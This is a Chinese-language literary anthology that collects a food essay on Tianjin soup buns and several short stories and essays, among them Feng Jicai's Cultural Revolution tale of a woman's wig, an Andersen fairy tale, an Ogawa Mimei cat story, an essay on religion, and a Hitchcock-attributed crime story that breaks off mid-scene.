　　天津包子也是远近驰名的，尤其是苟不理的字号十分响亮。其实不一定要到苟不理去，搭平津火车一到天津西站就有一群贩卖包子的高举笼屉到车窗前，伸胳膊就可以买几个包子。包子是扁扁的，里面确有比一般为多的汤汁，汤汁中有几块碎肉葱花。有人到铺子里吃包子，才出笼的，包子里的汤汁曾有烫了脊背的故事，因为包子咬破，汤汁外溢，流到手掌上，一举手乃顺着胳膊流到脊背。不知道是否真有其事，不过天津包子确是汤汁多，吃的时候要小心，不烫到自己的脊背，至少可以溅到同桌食客的脸上。相传的一个笑话：两个不相识的人据一张桌子吃包子，其中一位一口咬下去，包子里的一股汤汁直飚过去，把对面客人喷了个满脸花。肇事的这一位并未觉察，低头猛吃。对面那一位很沉得住气，不动声色。堂倌在一旁看不下去，赶快拧了一个热手巾把送了过去，客徐曰："不忙，他还有两个包子没吃完哩。"

　　玉华台的汤包才是真正的含着一汪子汤。一笼屉里放七八个包子，连笼屉上桌，热气腾腾，包子底下垫着一块蒸笼布，包子扁扁的塌在蒸笼布上。取食的时候要眼明手快，抓住包子的皱褶处猛然提起，包子皮骤然下坠，像是被婴儿吮瘪了的乳房一样，趁包子没有破裂赶快放进自已的碟中，轻轻咬破包子皮，把其中的汤汁吸饮下肚，然后再吃包子的空皮。没有经验的人，看着笼里的包子，又怕烫手，又怕弄破包子皮，犹犹豫豫，结果大概是皮破汤流，一塌糊涂。有时候堂倌代为抓取。

　　其实吃这种包子，其乐趣一大部分就在那一抓一吸之间。包子皮是烫面的，比烫面饺的面还要稍硬一点，否则包不住汤。那汤原是肉汁冻子，打进肉皮一起煮成的，所以才能凝结成为包子馅。汤里面可以看得见一些碎肉渣子。这样的汤味道不会太好。我不太懂，要喝汤为什么一定要灌在包子里然后再喝。

重圆

亦舒

　　真的有破镜重圆这种事吗？多么尴尬，但真是好，转一个圈子，回到先头那个人的身边，一切误会随风而散，一切痛苦已经被时间治疗，从头收拾旧山河，安安稳稳的生活下去——呀，原来缘份还未尽。

　　总比另寻新欢的好。

　　新欢需要太多的时间与心血来培养，而事实证明，一切辛劳都可以获得代价，除了谈恋爱，花大量精力于虚无缥缈的事业，太过划不来，既然如此，衣不如新，人不如旧，再回头也是来得及的。

　　潇洒背后有多少眼泪，充给谁看，做人实惠经济是真。

　　祝贺所有破镜重圆。

鬼剃头

冯骥才

　　1966 年，33 岁，女，T市无职业妇女。

　　我要说的是我的个人的事。但我并不是请你写下我的事情，而是记下另一个人。我只有一个要求：在我讲这件事的时候，你可千万别笑。我曾经把这件事讲给过几个人，他们全笑了；但他们一笑，我就打住。人家这么痛苦的事儿你还笑，叫人家什么滋味？可是有人居然笑出泪来！把我气得肺要炸了！你能不笑是吧，好，我讲了——

　　1964 年秋天的一个夜里，我做了一个非常可怕的梦，梦见一大群恶鬼用舌头舔我的脑袋，那些舌头各种各样的颜色，有蓝的、红的、绿的、紫的，还有的花里胡哨，全都闪闪发光，古怪极了。我迷迷糊糊地想，它们怎么舔我的脑壳，我的头发呢？我忽然大叫一声醒过来。我身边的丈夫也被惊醒。他打开台灯，睁大眼看我的神气就像见了鬼！他手指我的脑袋竟然说不出话来，我抬手一摸，好像摸到一个西瓜，光溜溜，又圆又硬，成了大秃头，我的头发哪里去了？我们几乎同时发现，我满头的黑发一根不少，全在枕头上。我们傻了！忽然想起从小就听过的一个离奇又吓人的词儿——鬼剃头！这回叫我轮上了！

　　我抱着脑袋大哭起来。如果你要见过我原先的一头乌黑漂亮的秀发，保准会惊奇、羡慕、叫好！我敢说，这世界上没有几个人能和我比一比头发，无论是中国人还是外国人。我丈夫都承认，他是从这头发才爱上我的。还有，我家周围的那几家理发店，我去理发他们从来都不要钱，它们求着我去做新发型的模特儿呢！我不像一些女人，天姿不够，只能涂脂抹粉，靠化妆品；我就凭这一头天然漂亮的头发，“走遍天下”！可是这一来，我比那些头发最糟的女人们还要糟，我的脑袋光秃秃像个鸡蛋，怎么出门见人？这对于一个年轻爱美的女人差不多像宣判了死刑。

　　我丈夫甚至比我还急。他找了无数名医给我看病。各种各样的药片都吃遍了，各种各样的煎药味儿也闻遍了。我看过您《神鞭》中写的“老佛爷的生发散”对吧！这些祖传秘方我都使过。但是鬼剃头的脑袋好比瓷壶一样极其顽固，硬是根毛不长。我再看我丈夫——天天东跑西颠好比寻仙访道那样去找大夫，我就火了，朝他喊道：“干什么，我秃了，你就不想要我了？你是爱我的头发，还是爱我这人。你要是爱我的头发，我就把这堆破头发给你，我走！告明白你，我不治了！”

　　这一来，他才和我一样地绝望了，认头了，不再努力了。但在一个月后，我收到了一个极大的邮包，是上海戏装厂寄来的。我挺奇怪，我从来不看戏，和戏装有什么关系？一边打包一边猜惑不已；我丈夫也不言语，待打开包儿一看，竟是一个女人假发的发套。我往头上一扣，居然正好。头套两边还各有一个不可思议的透明的塑料小钩，紧紧勾住耳边。再看头发，乌黑、亮泽、柔美、充沛，天呵，这哪里是假发，分明是我原先那一头秀发呀？我问丈夫：“这是不是你弄来的？”他笑而不答。他从来就这样。他是无线电厂的工程师，凡事喜欢动手做，因此他看重做的，轻视说的。可是每当我受到他的感动，情不自禁地说一句：“你真好！”他会把这句话的份量看得无比的重。

　　别看轻了假发，比起真发它有更强的地方。比方真发总得去修剪，假就不需要了；再比方，在自己整理头发时，脑袋后边的头发看不见又够不着，很难弄好，假发却可以摘下来，放在桌上，从容、仔细又面面俱到地加以修整。尤其是卷发时，可以做得与前边的头发一样精致。

　　每当我修整头发时，便把自己倒锁在屋里，拉上窗帘，摘下发套。这时我不敢对镜子看自己一眼，我真有点像《聊斋》中画皮的妖怪。可是当我把头发整理得十分精美，戴在头上，谁会知道我是一个“鬼剃头”？每当这时，我丈夫则用赞美的眼神盯着我看。他从来不在我修整头发时推门进屋。他好像根本不知道我这样修整头发。他知道我怕什么和我怕说什么。

　　闹红卫兵时，我家必然要遭受冲击。我丈夫是高级工程师。文革首先是鼓动无知的人去冲击知识分子。我家被抄得很惨。抄家的孩子们每人手握一把斧子，见东西就砸。我家几乎没有剩下一件完整的东西。而我最怕的事出现了——红卫兵用剪子铰我的头发。一是因为我的头发太招眼，二是因为抄家来的一部分是女红卫兵，她们一见我这漂亮的头发就生气。男人嫉妒男人的成就，女人嫉妒女人的美丽。这是很自然的事。

　　我被十几只手按在地上，两把剪子在我的头上乱铰，头发纷纷落地。她们的手劲很大，生怕我挣扎。可是我哪敢挣扎？弄不好，我的发套会挣脱掉，光头就会露出来。她们铰完我的头发，似乎也解了气，骂我一顿，便扬长而去。

　　我哭了。我变成这样，怎么办？我丈夫也不安慰我，他闷头在屋里清理堆积成山的碎物。我气得对他说：“你把这些破东西看得比我还重要？”他没吭声，继续干。直到把大衣柜前的东西清理干净，搬了一个凳子，踩上去。抬手从柜顶拿下一个旧报纸裹的包儿，打开后把一件黑黑的东西递给我。我接过一看，原来是一个崭新的假发套。不等我问，他说了一句：“我早给你存了一个，就是为了防备万一。”

　　我那时觉得他真够伟大了。他单位的同事都说，他总比别人多想一步。好比下棋高手。但他不会下棋，他的脑子都用在会说话的无线电上。可是糟糕的事都是我办的——

　　当时还没有脱离危险，我应该赶紧把这新发套包好藏起来。由于我大喜过望，将头上残废的发套摘下来一扔，便将新发套扣在头顶上。但镜子全被砸碎，无法看这新发套的样子。忽然哐地大门打开，刚刚抄家那伙红卫兵又闯进来。我无论如何也想不到他们为什么返回来。后来才知道他们看见我家衣架上挂着一个皮革挎包。那是我丈夫出差时使用的。他们想把皮包拿走，不料一眼看到我。登时，他们全都大叫起来，那神气和当年“鬼剃头”时我丈夫看我的表情完全一样。

　　“你是谁？”他们问我。

　　“我，我就我呀！”我也不知该怎么说了。

　　“你的头发怎么回事？老实说！你要捣鬼就打死你！”

　　这个红卫兵说完，就响起一片喊打之声。我吓坏了，完全不知道如何应付这场面。我丈夫从屋跑出来，拦在我身体的前面。但他浑身已是簌簌发抖，屈着腿，仿佛要跪下来恳求他们别动手。情急之下，他说了实话。他说我是“鬼剃头”，头上戴的是假发，完全没有欺骗和捉弄革命小将的意思。为了证实这件事，他回身伸手把我的假发拿掉。当我那奇异的光头暴露在光天化日之下，引得红卫兵们爆发出哄堂大笑。一个女红卫兵说：“资产阶级妖精还想臭美，把她的发套烧了！”他们从我丈夫手里夺过发套，找来火柴点着，顷刻烧成了一撮黑色的灰。这样他们才离去，并带走那个皮包。

　　这一次我没哭，我丈夫倒哭了。他很少哭，但他每每一哭都是无法劝止的。他对我说：“原谅我吧！我伤害了你！我是怕他们打死你……！”

　　他很痛苦。快乐是很难记住的，痛苦往往被牢记下来。

　　从此我只能戴那个剪废的发套了；它又短又乱，坑坑洼洼，像男人的癞痢头。在那时代，被剪过头发的人千千万万。但别人的头发剪掉还会重新长出来的，唯有我剪掉之后永难恢复。

　　红卫兵风潮很快过去了，我却一直羞于上街。买菜购物的事都是丈夫去办。直等到天气凉下来，围上头巾，才肯出门。我却担心着转年天热时怎么办。

　　不久红卫兵分派，互动干戈，没人再来找我们这号人的麻烦了。一天晚上，丈夫对我说：“你能不能把发套交给我，我来给你修理一下。”我不明白他的意思，便说不。第二天晚上他又这么说，我仍旧拒绝了他，心想这破玩意儿还能修理成什么好样子。过几天晚饭后，我困得不行，倒下便睡。朦胧中觉得有一双手轻轻地摘我的假发。我对头上的发套向来是极其敏感的。当我意识到是丈夫所为，便假装睡熟，不睁眼睛。我感觉假发被他摘去，拿到了外屋，还关上了门。此后便毫无声息。我下床蹑手蹑脚走到门边，从钥匙孔里往外看。我看得清清楚楚，原来他正在灯下精心修整我的发套。桌上还有一包碎发，竟是当初红卫兵从这发套剪下的头发，叫他细心收集并收藏起来了，他又比别人多想了一步！此刻他正用一个细长的镊子夹起一根头发，粘在发套上。好像在修复一件珍贵文物。这个钥匙孔形状的画面使我终生难忘。我看着，掉下泪来。我怕惊动他，赶紧返回床上蒙上头，任凭自己的泪水流淌。

　　我也不知道自己是如何睡着的，等我醒来时，他默默而微笑地站在我的床前，那熬红的眼睛表明他一夜没睡。我忽然感到发套已经在自己头上了。他是什么时候给我戴上的，竟叫我全然不知？我翻身坐起，满头黑发，如同墨色的瀑布从头顶顺着双肩和脊背光亮地流泻下来。

　　他早就从我的生活走掉了，走得无影无踪。他是从技术研究工作被赶到车间劳动改造，在一次意外事故中去世的。但他似乎连这一步也早早想到了。他在书桌抽屉里给我留下一封没有署明日期的信，这信如同遗嘱；但上边写的全是对我的不满，甚至还有骂我的话。这些话有根有据，都是我与他相处多年的种种过失。他竟然这样刻骨铭心！因此一度使我极其痛恨他的虚伪。看来，他过去对我的爱只是一种表演，心中对我却是另一番阴暗的风景，他真是个十足的两面派！这样，在他辞世的一段日子里，我反倒并不艰难地度过来了。

　　但事后一个朋友说：“他这样做，是不是怕你承受不了他的离去？他正是爱你才故意这样做的吧？”我一想，对呀，这家伙！我怎么直到离开了他，还弄不明白他爱我的方式？

　　别以为我这人天性太粗，不懂得感情。时下，尽管美容院里什么样的仿真的假发都有了，我却依然戴着他给我修整的那个。这个假发有一个特点——它永远不会变白。这又是他的心意，叫我总是年轻！

天上落下来的一片叶子

安徒生

　　在稀薄的、清爽的空气中，有一个安琪儿拿着天上花园中的一朵花在高高地飞。当她在吻着这朵花的时候，有一小片花瓣落到树林中潮湿的地上。这花瓣马上就生了根，并且在许多别的植物中间冒出芽来。

　　“这真是一根很滑稽的插枝。”别的植物说。蓟和荨麻都不认识它。

　　“这一定是花园里长的一种植物！”它们说，并且还发出一声冷笑。它们认为它是花园里的一种植物而开它的玩笑。但是它跟别的植物不同；它在不停地生长；它把长枝子向四面伸开来。

　　“你要伸到什么地方去呢？”高大的蓟说。它的每片叶子都长满了刺。“你占的地方太多！这真是岂有此理！我们可不能扶持你呀！”

　　冬天来了；雪把植物盖住了。不过雪层上发出光，好像有太阳从底下照上来似的。在春天的时候，这棵植物开出花来；它比树林里的任何植物都要美丽。

　　这时来了一位植物学教授。他有许多学位来说明他的身份。他对这棵植物望了一眼，检验了一番；但是他发现他的植物体系内没有这种东西。他简直没有办法把它分类。

　　“它是一种变种！”他说。“我不认识它，它不属于任何一科！”

　　“不属于任何一科！”蓟和荨麻说。

　　周围的许多大树都听到了这些话。它们也看出来了，这种植物不属于它们的系统。但是它们什么话也不说——不说坏话，也不说好话。对于傻子说来，这是一种最聪明的办法。

　　这时有一个贫苦的天真女孩子走过树林。她的心很纯洁；因为她有信心，所以她的理解力很强。她全部的财产只是一部很旧的《圣经》，不过她在每页书上都听见上帝的声音：如果有人想对你做坏事，你要记住约瑟的故事——“他们在心里想着坏事情，但是上帝把它变成最好的东西。”如果你受到委屈，被人误解或者被人侮辱，你只须记住上帝：他是一个最纯洁、最善良的人。他为那些讥笑他和把他钉上十字架的人祈祷：“天父，请原谅他们吧，他们不知道他们自己在做什么事情！”

　　女孩子站在这棵稀奇的植物面前——它的绿叶发出甜蜜和清新的香气，它的花朵在太阳光中射出五光十色的焰火般的光彩。每朵花发出一种音乐，好像它里面有一股音乐的泉水，几千年也流不尽。女孩子怀着虔诚的心情，望着造物主的这些美丽的创造。她顺手把一根枝条拉过来，细看它上面的花朵，闻一闻这些花朵的香气。她心里轻松起来，感到一种愉快。她很想摘下一朵花，但是她不忍把它折断，因为这样花就会凋谢了。她只是摘下一片绿叶。她把它带回家来，夹在《圣经》里。叶子在这本书里永远保持新鲜，从来没有凋谢。

　　叶子就这样藏在《圣经》里。几个星期以后，当这女孩子躺在棺材里的时候，《圣经》就放在她的头底下。她安静的脸上露出了一种庄严的、死后的虔诚的表情，好像她的这个尘世的躯壳，就说明她现在已经是在上帝面前。

　　但是那棵奇异的植物仍然在树林里开着花。它很快就要长成一棵树了。许多候鸟，特别是鹳鸟和燕子，都飞到这儿来，在它面前低头致敬。

　　“这东西已经有点洋派头了！”蓟和牛蒡说。“我们这些本乡生长的植物从来没有这副样子！”

　　黑蜗牛实际上已经在这植物身上吐粘液了。

　　这时有一个猪倌来了。他正在采集荨麻和蔓藤，目的是要把它们烧出一点灰来。这棵奇异的植物也被连根拔起来了，扎在一个柴捆里。“也叫它能够有点用处！”他说，同时他也就这样做了。

　　但是这个国家的君主多少年以来一直害着很重的忧郁病。他是非常忙碌和勤俭，但是这对他的病却没有什么帮助。人们念些深奥的书给他听，或念些世上最轻松的读物给他听，但这对他的病也没有什么好处。人们请教世界上一个最聪明的人，这人派来一个信使。信使对大家说，要减轻和治好国王的病，现在只有一种药方。“在国王的领土里，有一个树林里长着一棵来自天上的植物。它的形状是如此这般，人们决不会弄错。”这儿还附带有一张关于这棵植物的图解，谁一看就可以认得出来。“它不论在冬天或夏天都是绿的。人们只须每天晚上摘下一片新鲜的叶子，把它放在国王的额上，那么国王的头脑就会变得清新，他夜间就会做一个美丽的梦，他第二天也就会有精神了。”

　　这个说明已经是够清楚了。所有的医生和那位植物学教授都到树林里去——是的，不过这棵植物在什么地方呢？

　　“我想我已经把它扎进柴捆里去了！”猪倌说，“它早就已经烧成灰了。别的事情我不知道！”

　　“你不知道！”大家齐声说。“啊，愚蠢啊！愚蠢啊！你是多么伟大啊！”

　　猪倌听到这话可能感到非常难过，因为这是专讲给他一个人听的。

　　他们连一片叶子也没有找到。那唯一的一片叶子是藏在那个死女孩的棺材里，而这事情谁也不知道。

　　于是国王在极度的忧郁中亲自走到树林中的那块地方去。

　　“那棵植物曾经在这儿生长过！”他说。“这是一块神圣的地方！”

　　于是这块地的周围就竖起了一道金栏杆。有一个哨兵日夜在这儿站岗。

　　植物学教授写了一篇关于这棵天上植物的论文。他凭这篇论文得到了勋章。这对他说来是一件很愉快的事情，而且对于他和他的家庭也非常相称。事实上这是这整个故事最有趣的一段，因为这棵植物不见了。国王仍然是忧郁和沮丧的。

　　“不过他一直是这样。”哨兵说。

　　（１８５５年）

在什么地方活着

小川未明

　　小猫虽然不知道他出生前母猫的生活，但是从他记事时起，他们就无家可归，被追赶，一直被人欺负。母猫把小猫生在了一家破旧的库房的角落。在那里住了几天之后，小猫的眼睛终于睁开了。母亲一回来晚了，就会从空箱子里面探出头来，朝着明亮的方向不住地哭叫。母猫一听见他的哭叫声，就会匆匆忙忙地跑回来。然后，迅速跳进箱子里，赶紧给孩子喂奶。

　　但是，这里也不是一个安全的住地。有一天，库房的主人突然发现了他们，大发雷霆：“什么时候跑到这里来做窝了？快给我滚出去！”说着，就操起扫帚，把他们轰了出去，可怜的母猫只好赶紧叼起小猫，逃了出来。他们穿过空地，向林子那边跑去。

　　那里有一座小祠堂，她想，祠堂的廊下也许会安全些吧！可是，那里充满了湿气，到处都挂满了蜘蛛网。当她发现那里还是野狗的藏身之地时，就毫不犹豫地离开了。母猫没有办法，只好又叼着孩子，返回到镇子里来了。

　　秋天就快结束了，镇子里格外寂静。那天，没有风，蓝天上的太阳温暖地照射着各家各户的屋顶。母猫发现了一扇开着窗户、晒着被子的两层楼的人家，就大胆地攀过了围墙。因为她想，现在无论多么冒险，为了小猫，都必须要找一个好地方。幸好没有人在家，她马上把小猫带到了屋里。她放开身子躺下，给小猫喂奶。如果能这样一直持续下去的话，猫母子俩该有多幸福啊！如果是换了一般的人饲养的猫，这种奢侈根本算不了什么，可是对于这两只猫来说，却是非分之求。然而，就是这种片刻的安宁，也付出了可怕的代价，很快就遭到了厄运。女主人顺着梯子爬上来，大吵大闹，跑去拿棍子要打他们。女主人想，要是给无家可归的猫住进来，那可不得了。她大概是为了防止这种事情再次发生，要好好地教训他们一顿吧！但是，等她回来的时候，两只猫已经不见了。

　　每家每户的屋顶都紧紧地挨着，好像滚滚的波涛。对于不能住在地面上的猫母子来说，这里恐怕是唯一的安身之地了。两只猫已经不想再下去了。要是不刮让人瑟瑟发抖的寒风，那就更好了。

　　“你哪儿也不准去，知道吗？呆在这儿别动，等着妈妈回来。”

　　母猫这样告诫小猫。夹在高房子中间，这座不起眼的平房相对比较避风，但也有的日子，被太阳一晒，马口铁的屋顶会升腾起一阵阵热浪。要是小猫一个人不乱走，这里倒是一个比任何地方都好的地方。不过，因为小猫已经知道每次被人追赶、被人欺负，都是母猫拼命保护着自己，所以小猫从来不会违背母亲的叮嘱。

　　母猫一边惦记着留在屋顶的小猫，一边到各处的垃圾箱和人家的后门去寻找食物，那可不是一般的辛苦。不管多么着急，都要找到吃的，不能空手回去。

　　一听到爪子翻墙时发出的尖厉的响声，小猫便知道是母猫回来了，于是，就叫唤着从屋檐下探出头来。

　　这时，被夕阳一照，母猫那消瘦的身子在屋顶上拖出一条长长的灰影。她毛色灰暗，肚子两边瘦得不成样子。她看到孩子平安无事，便高兴地把带回来的食物给他吃。而自己却好像忘记了饥饿，眯缝着眼睛，心满意足地看着孩子在吃东西。

　　冬天的夜晚，北风寒冷刺骨，毫不留情地在屋顶上吹过。母猫把孩子推到墙角，用自己的身体挡住风，用自己的体温给他取暖。因为这样，小猫才得以安稳地入睡。这一幕，在小猫的一生中，不知留下了多么深刻的烙印！

　　早晨，太阳一出来，母猫便出门了。屋顶上的霜像白雪一样，白晃晃的，十分刺眼。小猫不禁打了一个寒战。

　　刚走出去的母猫回过头来，看着他说：“今天会是一个好天！我回来再跟你玩。”

　　不知是什么样的人住在这屋顶下面，但是一早一晚都会听见年轻、朝气蓬勃的说笑声，白天却非常安静。从这点看，年轻人白天似乎到什么地方去上班了，老人留在家里看家。大概只剩一位老人了吧，常常可以听到嘶哑的咳嗽声和水池传来的流水声。没有别的淘气的孩子，实在是万幸。

　　旁边有一棵高大的树，它的落叶被风吹着，在导水管和屋檐的边上积了起来。那些落叶时不时地会像龙卷风一样漫天飞舞，两只猫一边在屋檐的角落里避风，一边看着。

　　一天，在阳光照耀的屋檐上，母猫和小猫正在互相愉快地戏耍着。这时，从哪里传来了说话声：“只吃瘦成那样妈妈的奶水，这小猫还真够胖的。”这说话声，是从对面一扇高高的窗户里传来的。一个少女一边望着这边，一边对身后的妹妹说。怕吓着两只猫，两个人躲着不让猫发现。少女把手里的面包掰碎。突然，传来了一个响声，什么东西掉到了猫的身边。母猫吓了一跳，缩起身子，摆好架势，准备应战突如其来的不速之客。保护孩子比自己逃跑更重要！母猫环视了一下四周，可却没有找到敌人的影子，原来掉下来的是一块香喷喷的、涂着奶油的面包。

　　“是谁扔的呢？”母猫疑惑了一下，抬头朝高高的窗户看去，只见两姐妹正看着这边笑呢！看到这个样子，母猫知道她们没有恶意，不过还是不敢大意，没有去接近食物。“是给你们的，吃吧！”为了让母猫放心，少女这样说道。小猫终于忍不住了，靠近了面包。母猫好像允许了似的，在一边看着。不知是不是为了让给孩子，自己才没有去吃。少女又掰了一块面包扔了过去。

　　“这回是给你的。”

　　母猫这才把掉在面前的面包慢慢地放进了嘴里。

　　整个冬天，两只猫都住在这一带的屋顶上，一天到晚跑来跑去，寻找阳光。当春天到来的时候，小猫已经长得很大了。

　　后街有一片街坊邻居种的田。田里的油菜开除了灿烂的黄花。对别人还是很有戒备的小猫，开始和喜欢自己的少女亲近起来。

　　这时候，在飘着白云的天空下，小猫躲在叶子后面，正要去捉一只要落到油菜花上的白蝴蝶。虽然又回到了地面上，但母猫已经不再像以前那样追赶小猫，而是尽量地远离他，看着他尽情地玩耍。

　　“马上就要独立生活了，我不会再跟着你了。”母猫嘴上没说，只是眯缝着眼睛，看小猫能不能捉到蝴蝶。

　　同样在一旁观看的少女，觉得小猫的样子实在是可爱，就不声不响地绕到后面，出其不意地抱住了他，贴到了脸上。母猫目睹了这一切。这时，她就好像已经看穿了小猫今后的命运似的，“喵”，悲伤地尖叫了一声。只留下了这一声尖叫，然后她就不知跑到哪里去了。从此，母猫的身影再也没有在这一带出现过。

　　“妈妈，收养这只小猫吧。”在姐妹俩再三恳求下，这一愿望终于实现了。

　　从今往后，小猫在也不会挨雨淋，再也不会因为挨饿睡不着觉了。

　　“你妈妈到哪里去了呢？你能受到大家的宠爱，真幸福啊！你妈妈肯定还在什么地方活着。”少女这样对小猫说。即使这样面对面，人和动物还是有间隔的。想法不一样，不管说什么也无法沟通，这让少女很伤心。

　　冬天终于要过去了。一个狂风暴雨的夜晚，风吹着屋顶，敲打着窗户。一直在一动不动静听风声的小猫，突然变得焦躁不安起来，在屋子里闹个不停，要出到外面去。

　　“这猫的样子有点反常啊！快把他放出去吧。”连少女的妈妈也这么说。姐姐把木窗打开了一条缝，狂风立刻吹了进来。

　　“这么大的风，你要到哪儿去呀？”少女说。小猫冲到黑暗中，彷徨着如同在追随一个看不见的影子，不断悲切地叫着。

　　“啊，一定是想起母猫了。”姐妹俩互相望了望。

　　在那个屋顶上，母猫那领着小猫走路的消瘦的身影，清晰地浮现在两人的眼前。

　　小猫好像跑到很远的地方去寻找母亲了。风声中断时，隐约可以听到他的叫声。大概是因为风声，不经意之中勾起了他那些难忘的记忆吧？那些在寒冷、狂风大作的夜晚，在静静的下着霜的黎明被母猫拥抱着安然入睡的记忆。

神迹下的健康心态

吴澧

　　在美国，常会遇上传教者。华人见面，有时也会说起这档事。某些朋友觉得很奇怪：在这样一个科学技术高度发达的国家里，怎么还有那么多人相信“迷信”？把宗教等同于迷信，这种话，主流媒体现在都不讲了。不过，侨居海外的人，话语习惯往往停留在离开中国那一刻，未必与时俱进。这种时候，就表现出小学和中学里受到的那些政治思想教育的影响了。其实，在英语里，宗教（religion）和迷信（superstition）是很不同的两码事。相信人类之上有着更高存在的是宗教；以为凡人具有超常能力（如女巫）的是迷信。在历史上，宗教甚至是强烈反迷信的。

　　朋友的第二个问题，往往是这样的：“如果宗教不是迷信，难道你相信上帝在六天里造出世界？”对受过现代科学教育的人，这一质问很正常。爱因斯坦就说过，他幼年时很虔诚，但这种信仰在12岁上突然消亡了。那一年他读了几本科普书籍，然后觉得《圣经》里的不少故事不可能真实发生。

　　但科学上的不成立，并不等于这不是一个在某些情形中的有益故事。记得小学课本里有篇课文。父亲临死前对三个儿子说：他在地里埋了一罐金子。父亲来不及说出具体地点就去世了。三个儿子掘地三尺都未找到。直到秋天，对着深耕后的丰收麦田，儿子们才意识到：父亲说的“金子”，其实就是辛勤劳动种出的黄澄澄麦子。父亲的遗言并非事实（科学上不成立），却对相信的人有益处。

　　世界上还有很多地方，风俗仍然很原始。那里的男人基本只干两件事：一是扛着枪支巡视部落边界；二是干女人。所有的生产劳动和家务都是女人做的。女人从早到晚手脚不停十几个小时，走在路上还要被男人拖进树丛强奸。《圣经》里亚当被逐出伊甸园时上帝对他的训令——“你必终身劳苦，才能从地里得吃的……你必汗流满面才得糊口，直到你归了土。”——这时就有积极作用。其实，这话听着很像是农业社会发轫之时，一位勤劳父亲留给儿子的教诲。

　　甚至对于正在走出农业社会的人，“你必汗流满面才得糊口”，也是针对转型期间傍大款、抄论文、买假文凭、打官腔说假话、笃信“厚黑学”等浮躁风气的金玉良言。

　　正如奥巴马于前年大选时在阐述其观点的《无畏的希望》（The Audacity of Hope）一书中所说，他在芝加哥为穷人服务时加入了教会，并非真的以为世界在六天内造成，而是接受如何待人行事的指导。美国心理学家和实用主义哲学家威廉 · 詹姆斯也早已指出：“世界在六天内造成”等神学争论（Theological Argument），对一般人没有多少实用意义；普通人更该关心的是有关伦理的宗教争论（Religious Argument）。

　　一位女同学，在美国的开始几年，工作一直不顺利。后来她有了信仰，她对自己说：不管你们怎么看不起我，在上帝眼里，我们都是一样的，都是平等的。于是，她对别人的“看不起”不再介意，只是就事论事地讨论问题。然后她就发现，别人对她的态度“转变”了，变得很友好，有事情很愿意帮助她。她将这一经历告诉笔者，表示很感谢上帝的恩典。这是她的解释。有了信仰后，她不再对非我族类的行为总是习惯性地予以恶意解读；不再因这种解读而动不动感情受伤害；不再有点事就缩成刺猬——封闭自己，同时把刺对着人家。

　　小学里接受革命教育看电影《洪湖赤卫队》，对女队长韩英的一句唱词印象很深：“砍头只当风吹帽。”韩英能有这等豪气，是因为她有信仰。那支歌的标题叫作“看天下劳苦人民都解放”。宗教的宗旨，其实也是“看天下劳苦人民都解放”，只是他们不搞暴力革命。上面那位女同学的例子重在“理性平和”；韩英突出了信仰让人“自尊自信”的一面；再加上“你必汗流满面才得糊口”的不畏艰苦、积极向上，走遍天下你都是好人。

律师太太

希区柯克

　　他的太太要求离他而去，但不是因为另有男人。

　　“我不再想当家庭主妇，”她说，“时代不同了，所以，也许我们还会再见。”于是，她搬入城边的一处单身公寓中。

　　整个事件让他懊丧不已。她居然这样离开他，而且走得潇洒之极。更让他沮丧的是，他甚至跪下来求她，但她毫不为所动。无论他如何委曲求全，她都丝毫没有留下的意思。他觉得自己就像一只她吃过的香蕉的皮，被随手扔入垃圾箱中。

　　因此，他的爱变为恨，真正的仇恨。可以猜想一下，他是否想复仇？这个问题根本没有答案，因为他根本就不是个有信心、有主见、生活积极主动的人。她很大程度上是因为这一点离开他的。

　　他每天做着白日梦，却根本想不清楚自己是否该报复一下，在日思夜想的如意算盘中，他的失眠症更加严重。

　　因而，他夜里辗转反侧，经常惊醒，噩梦连连。

　　这天凌晨三点，他又一次惊醒，喉部觉得冷冰冰的，有一支枪顶在他喉咙上。这次不再是梦。“站起来，打开灯。”一个男人的声音。

　　他腿脚发软，但被手枪顶着下巴抬了起来。

　　“进去，”那男人把他推进起居室，“我要看个清楚。”那男人扭亮电灯，把他推进沙发里。

　　他吓得大气也不敢喘一下。灯光下，他看见手枪管上套着消音器，这说明不可能是玩具手枪。

　　“可怜虫。”那男人冷笑道，“你的汗水都可以装满一游泳池。”他自己也知道，身上的冷汗已经打透了睡袍。

　　“你是谁？”他几乎辨不出自己的声音。“一个等了很久的人。”

　　这时他才看清来人。个子高大、肤色苍白、淡黄色的眼睛、黑黑的头发、长长的络腮胡子修剪得斜斜的，似两把利剑。

　　从来人的口气看，他觉出了一股强烈的恨意。可是为什么呢？

　　“肯定有误会。”他说，他的声音提高了八度。“我们根本就不认识！”

　　“误会？”来人狞笑一声，从腰间解下一条尼龙绳，紧紧地捆住他的干腕。绳子深深地嵌入了他的肉里。“如果你想叫喊的话，随你的便！”

　　他知道自己即使叫破了喉咙也没有用。他住在郊区，半里方圆内并无邻居。

　　来人又捆住了他的脚踝。

　　“来吧，要下手就快一点给我一个痛快。”他忽然冒出一句电影里常听到的台词。

　　“没那么便宜。”来人恶狠狠他说，“我会让你死个明白，但绝不让你死得太快。”

　　他四肢被捆住，已毫无反抗之力。其实，即使没被捆住，他也根本不字反抗。不光是因为来人手里有枪，而是他天性犹豫怯懦。

　　他甚至敌不过他的太太。

　　来人在沙发上坐下来，面对着他，手枪放在扶手上，跷起二郎腿。“这沙发不错，你活得挺舒服。你们住在郊区，枫树街一零六二四号，克莱尔，我是在电话本上找到你的。请放心，绝没有人看见我进来，我保证也不会有人见到我离开。我现在要看一看你痛不欲生样子，也要你像我一样生不如死。为这一天，我足足等了五年，五年……”

　　“你说的话我根本听不懂，肯定是误会。”他说。

　　“少来这一套。”来人用手抚摸着程亮的手枪，“你以为我这五年是在哪儿过的。”

　　他忽然感觉不大紧张了。他已经投降了，还能有什么办法？

　　一切全由对方决定。大不了就是太阳穴上挨一枪，他可能根本来不及痛苦就死掉了。他活着已经够痛苦的了。

　　“你我素不相识，我怎么知道你这五年在哪里？”

　　“鬼才相信你的话。我这五年一直被关在牢里。就在河上游那个监狱。五年前，我的罪名是持枪抢劫。”来人咬着牙说。

　　“我还是听不懂你的话。”他说。

　　来人气极而笑。“当我在那个阴冷恶臭的监牢里苦挨时光的时候，唯一支撑我活下去的就是外面有个好女人在等我。后来，玛丽来了一封信，说有一个精明狡猾的律师已经出面替她打赢了离婚官司。我感觉自己的脑袋像一个旧车胎一样爆开了花。不过，我同时又找到了一条活下来的理由——就是要亲眼看见你的脑袋开花。”

　　“所以你就在电话本上找到克莱尔？”

